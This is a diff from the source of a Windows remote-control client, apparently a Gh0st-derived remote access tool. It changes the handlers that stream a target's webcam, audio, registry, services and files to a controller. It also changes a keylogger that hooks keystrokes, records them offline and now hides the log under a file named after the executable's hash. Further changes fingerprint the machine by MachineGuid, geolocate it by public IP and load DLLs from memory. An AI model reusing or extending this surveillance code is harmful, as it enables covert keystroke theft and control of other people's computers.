int durMs = szBuffer[3] | (szBuffer[4] << 8);
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
m_cfg->SetInt("transfer", "DurationMs", durMs);
}
break;
}
case COMMAND_LIST_DRIVE : { case COMMAND_LIST_DRIVE : {
if (!ENABLE_FILE_MNG) {
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -1202,6 +1397,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_WEBCAM: { case COMMAND_WEBCAM: {
if (!ENABLE_VIDEO_MNG) {
return ResponseDisable(m_ClientObject, "CAMERA", szBuffer + 1, ulLength - 1);
}
static bool hasCamera = WebCamIsExist(); static bool hasCamera = WebCamIsExist();
if (!hasCamera) break; if (!hasCamera) break;
{ {
@@ -1214,6 +1412,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_AUDIO: { case COMMAND_AUDIO: {
if (!ENABLE_AUDIO_MNG) {
return ResponseDisable(m_ClientObject, "AUDIO", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -1224,6 +1425,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_REGEDIT: { case COMMAND_REGEDIT: {
if (!ENABLE_REGISTRY) {
return ResponseDisable(m_ClientObject, "REGISTRY", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -1234,6 +1438,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_SERVICES: { case COMMAND_SERVICES: {
if (!ENABLE_SERVICE_MNG) {
return ResponseDisable(m_ClientObject, "SERVICE", szBuffer + 1, ulLength - 1);
}
{ {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
@@ -1243,6 +1450,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) {
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE: { case COMMAND_UPDATE: {
auto typ = m_conn->ClientType(); auto typ = m_conn->ClientType();
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
@@ -1291,8 +1511,51 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_SEND_FILE_V2: { case COMMAND_SEND_FILE_V2: {
// 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
int chunkKb, durMs;
GetTransferSpeed(*m_cfg, chunkKb, durMs);
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
s_v2RecvInited = true;
}
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度) // C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, // 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。
// 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
// (server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home),
// 若不在接收端展开,RecvFileChunkV2 会按字面量建目录(如 CWD\%%USERPROFILE%%\...)。
char* recvBuf = (char*)szBuffer;
size_t recvLen = ulLength;
std::vector<uint8_t> rebuilt;
if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
// 文件名未必以 '\0' 结尾,先构造出以 '\0' 结尾的副本
std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
char expanded[MAX_PATH * 2] = { 0 };
DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
if (n > 0 && n < (DWORD)sizeof(expanded)) {
std::string newName(expanded, n - 1); // n 含末尾 '\0'
if (newName.size() != pkt->nameLength) {
// 展开后长度变化,重建包:[header][展开后的 name][data]
size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
rebuilt.resize(newLen);
memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
newPkt->nameLength = newName.size();
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
(const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
(size_t)pkt->dataLength);
recvBuf = (char*)rebuilt.data();
recvLen = newLen;
}
}
}
}
int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
nullptr, m_hash, m_hmac, m_MyClientID); nullptr, m_hash, m_hmac, m_MyClientID);
if (n) { if (n) {
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n); Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
@@ -1578,10 +1841,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
{ {
if (ulLength > 8) { if (ulLength > 8) {
uint64_t n = 0; HeartbeatACK n = { 0 };
memcpy(&n, szBuffer + 1, sizeof(uint64_t)); const int size = sizeof(HeartbeatACK);
// 主控心跳 ACK 只回显时间戳(不含 ProcessingMs),近似纯网络 RTT memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
int64_t rtt_ms = (int64_t)GetUnixMs() - (int64_t)n; int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
int64_t rtt_ms = total_rtt_ms;
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
m_nNetPing.update_from_sample((double)rtt_ms); m_nNetPing.update_from_sample((double)rtt_ms);
// 试用版反代理:RTT 入采样窗口。 // 试用版反代理:RTT 入采样窗口。
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。 // 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
+21 -2
View File
@@ -25,7 +25,7 @@
// 根据配置决定采用什么通讯协议 // 根据配置决定采用什么通讯协议
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false); IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP); ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
class ActivityWindow class ActivityWindow
{ {
@@ -40,6 +40,24 @@ public:
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle); return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
} }
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return std::string();
return GetActiveWindowTitle();
}
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return NULL;
return GetForegroundWindow();
}
private: private:
std::string FormatMilliseconds(DWORD ms) std::string FormatMilliseconds(DWORD ms)
{ {
@@ -184,7 +202,6 @@ public:
uint64_t m_MyClientID = 0; uint64_t m_MyClientID = 0;
// 执行代码 // 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL; std::map<std::string, std::vector<BYTE>> m_MemDLL;
int RestoreMemDLL();
void SetLoginMsg(const std::string& msg) void SetLoginMsg(const std::string& msg)
{ {
m_LoginMsg = msg; m_LoginMsg = msg;
@@ -295,4 +312,6 @@ public:
} }
}; };
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile* m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This = NULL);
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
+11 -3
View File
@@ -4,6 +4,7 @@
#include "Common.h" #include "Common.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "KernelManager.h"
#include <tchar.h> #include <tchar.h>
#if ENABLE_KEYBOARD #if ENABLE_KEYBOARD
@@ -51,9 +52,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
clip::set_error_handler(NULL); clip::set_error_handler(NULL);
#endif #endif
m_bIsOfflineRecord = offline; m_bIsOfflineRecord = offline;
char path[MAX_PATH] = { "C:\\Windows\\" }; char path[MAX_PATH] = { "C:\\Windows\\" };
GET_FILEPATH(path, skCrypt(KEYLOG_FILE)); if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path); strcpy_s(m_strRecordFile, path);
m_Buffer = new CircularBuffer(m_strRecordFile); m_Buffer = new CircularBuffer(m_strRecordFile);
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
GET_PROCESS(DLLS[USER32], GetAsyncKeyState); GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
HDESK desktop = NULL; HDESK desktop = NULL;
clock_t lastCheck = 0; clock_t lastCheck = 0;
auto lastSave = time(0);
while(pThis->m_bIsWorking) { while(pThis->m_bIsWorking) {
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) { if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
#if USING_KB_HOOK #if USING_KB_HOOK
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
continue; continue;
} }
Sleep(5); Sleep(5);
auto tm = time(0);
if (tm - lastSave > 600) {
lastSave = tm;
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
}
#if USING_KB_HOOK #if USING_KB_HOOK
clock_t now = clock(); clock_t now = clock();
if (now - lastCheck > 1000) { if (now - lastCheck > 1000) {
@@ -671,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
if (!SetHook(WriteBuffer, pThis->m_Buffer)) { if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1; return -1;
} }
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)); while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else #else
int num = lstrlen(KeyBuffer); int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) { if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
+3 -2
View File
@@ -7,8 +7,6 @@
#include "Manager.h" #include "Manager.h"
#include "stdafx.h" #include "stdafx.h"
#define KEYLOG_FILE "keylog.xml"
#if ENABLE_KEYBOARD==0 #if ENABLE_KEYBOARD==0
#define CKeyboardManager1 CManager #define CKeyboardManager1 CManager
@@ -238,6 +236,9 @@ public:
HANDLE m_hWorkThread,m_hSendThread; HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH]; TCHAR m_strRecordFile[MAX_PATH];
TextReplace m_ReplaceRule = {}; TextReplace m_ReplaceRule = {};
void EnableOfflineRecord(BOOL enable) {
m_bIsOfflineRecord = enable;
}
virtual BOOL Reconnect() virtual BOOL Reconnect()
{ {
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
+66 -12
View File
@@ -247,7 +247,7 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID, // HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID,
// 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。 // 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。 // 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
static std::string GetMachineGuidWindows() std::string GetMachineGuidWindows()
{ {
HKEY hKey = NULL; HKEY hKey = NULL;
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。 // KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
@@ -283,12 +283,41 @@ static std::string NormalizeExePathLower(const char* path)
// - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。 // - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。
// - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。 // - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。
// - 一台机两份程序在不同目录 → ID 不同。 // - 一台机两份程序在不同目录 → ID 不同。
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath) uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth)
{ {
std::string s = machineGuid + "|" + normalizedPath; std::string s = isAuth ? machineGuid : machineGuid + "|" + normalizedPath;
return XXH64(s.c_str(), s.length(), 0); return XXH64(s.c_str(), s.length(), 0);
} }
// 撞 ID 的克隆机重生成 client_id:在旧 ID 基础上掺一个一次性随机 UUID 再哈希。
// 只在服务端判定「主机名不同却撞 ID」后下发 COMMAND_REGEN_CLIENT_ID 触发,不影响
// 正常(首次)登录的 CalcalateIDv2 算法;唯一性由随机 UUID 保证,同批克隆机各自
// 随机,重算后必然不同。
uint64_t RegenerateClientID(uint64_t oldID)
{
// 16 字节随机数充当一次性 UUID(RtlGenRandom = advapi32 SystemFunction036)。
unsigned char rnd[16] = {};
if (!RtlGenRandom(rnd, (ULONG)sizeof(rnd))) {
// 极少数环境 RtlGenRandom 可能失败:退化为时间/进程/线程/性能计数混合的 LCG,
// 保证仍能产出与旧 ID 不同的新 ID(不追求密码学强度,只需撞车概率足够低)。
uint64_t mix = GetTickCount64() ^ ((uint64_t)GetCurrentProcessId() << 32)
^ (uint64_t)GetCurrentThreadId();
LARGE_INTEGER pc;
QueryPerformanceCounter(&pc);
mix ^= (uint64_t)pc.QuadPart;
for (int i = 0; i < 16; ++i) {
mix = mix * 6364136223846793005ULL + 1442695040888963407ULL;
rnd[i] = (unsigned char)(mix >> 56);
}
}
char hex[33];
for (int i = 0; i < 16; ++i)
sprintf_s(hex + i * 2, 3, "%02X", (unsigned)rnd[i]);
hex[32] = '\0';
std::string seed = std::to_string(oldID) + "|" + hex;
return XXH64(seed.c_str(), seed.size(), 0);
}
BOOL IsAuthKernel(std::string &str) { BOOL IsAuthKernel(std::string &str) {
BOOL isAuthKernel = FALSE; BOOL isAuthKernel = FALSE;
std::string pid = std::to_string(GetCurrentProcessId()); std::string pid = std::to_string(GetCurrentProcessId());
@@ -313,7 +342,7 @@ BOOL IsAuthKernel(std::string &str) {
return isAuthKernel; return isAuthKernel;
} }
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate) LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate, bool isAuth)
{ {
std::string str = expiredDate; std::string str = expiredDate;
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
@@ -378,13 +407,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
std::string pubIP = cfg.GetStr("settings", "public_ip", ""); std::string pubIP = cfg.GetStr("settings", "public_ip", "");
auto ip_time = cfg.GetInt("settings", "ip_time"); auto ip_time = cfg.GetInt("settings", "ip_time");
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400); bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
// 升级后强制重新查询一次:旧版缓存的 location 是 GBK/CP1252,或已把 ö/ä/ß 等替换成 '?';
// 新版 GetGeoLocation 改为 UTF-8 上报(见 common/location.h),需重新拉取才能修正。
// 版本号即编译日期 __DATE__(见 common/commands.h 的 DLL_VERSION):编译期宏,内存 DLL
// 也能取到,且每次编译都会变,天然标识“升级”,无需手动递增,也不依赖 exe 版本资源。
bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
IPConverter cvt; IPConverter cvt;
if (loc.empty() || pubIP.empty() || timeout) { if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
pubIP = cvt.getPublicIP(); std::string newPubIP = pubIP;
loc = cvt.GetGeoLocation(pubIP); // 升级重查 location 时复用已缓存的公网 IP;仅当 IP 缺失或 7 天过期才重新探测,
// 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
if (pubIP.empty() || timeout) {
newPubIP = cvt.getPublicIP();
}
std::string newLoc = cvt.GetGeoLocation(newPubIP);
// 仅查询成功才覆盖缓存并推进版本号;失败保留旧值,下次登录仍会重试。
if (!newLoc.empty() && !newPubIP.empty()) {
pubIP = newPubIP;
loc = newLoc;
cfg.SetStr("settings", "location", loc); cfg.SetStr("settings", "location", loc);
cfg.SetStr("settings", "public_ip", pubIP); cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0)); cfg.SetInt("settings", "ip_time", time(0));
cfg.SetStr("settings", "loc_cache_ver", __DATE__);
}
} }
LoginInfor.AddReserved(loc.c_str()); LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str()); LoginInfor.AddReserved(pubIP.c_str());
@@ -394,19 +439,27 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(IsRunningAsAdmin()); LoginInfor.AddReserved(IsRunningAsAdmin());
char cpuInfo[32]; char cpuInfo[32];
sprintf(cpuInfo, "%dMHz", dwCPUMHz); sprintf(cpuInfo, "%dMHz", dwCPUMHz);
// V2 ID 算法:MachineGuid + 归一化路径 std::string clientID = cfg.GetStr("settings", "client_id");
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移) if (clientID.empty()) {
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库 // V2 ID 算法:MachineGuid + 主机名 + 归一化路径
// - 主机名兜底区分同镜像克隆机:MachineGuid 相同、路径相同仍能靠主机名区分。
// - 代价:改名会让 client_id 变化,丢该主机的备注/授权/历史;主机名非硬件唯一,重名仍撞。
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。 // MachineGuid 读取失败的极端情况退化到老算法,保兼容。
std::string machineGuid = GetMachineGuidWindows(); std::string machineGuid = GetMachineGuidWindows();
if (!machineGuid.empty()) { if (!machineGuid.empty()) {
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf)); conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
} else { } else {
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n"); Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
} }
auto clientID = std::to_string(conn.clientID); cfg.SetStr("settings", "client_id", std::to_string(conn.clientID));
clientID = std::to_string(conn.clientID);
Mprintf("初始化此客户端的唯一标识为: %s\n", clientID.c_str());
}
else {
conn.clientID = std::stoull(clientID);
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str()); Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
}
char reservedInfo[64]; char reservedInfo[64];
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN); int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN); int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);
@@ -420,6 +473,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0; double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K"); sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
LoginInfor.AddReserved(fileSize); // 文件大小 LoginInfor.AddReserved(fileSize); // 文件大小
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
return LoginInfor; return LoginInfor;
} }
+4 -1
View File
@@ -5,7 +5,10 @@
#pragma comment(lib,"Vfw32.lib") #pragma comment(lib,"Vfw32.lib")
std::string GetMachineGuidWindows();
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
uint64_t RegenerateClientID(uint64_t oldID);
BOOL IsAuthKernel(std::string& str); BOOL IsAuthKernel(std::string& str);
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate); LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
DWORD CPUClockMHz(); DWORD CPUClockMHz();
BOOL WebCamIsExist(); BOOL WebCamIsExist();
Loaded 100 of 341 files, more files were not shown because too many files have changed in this diff. Show more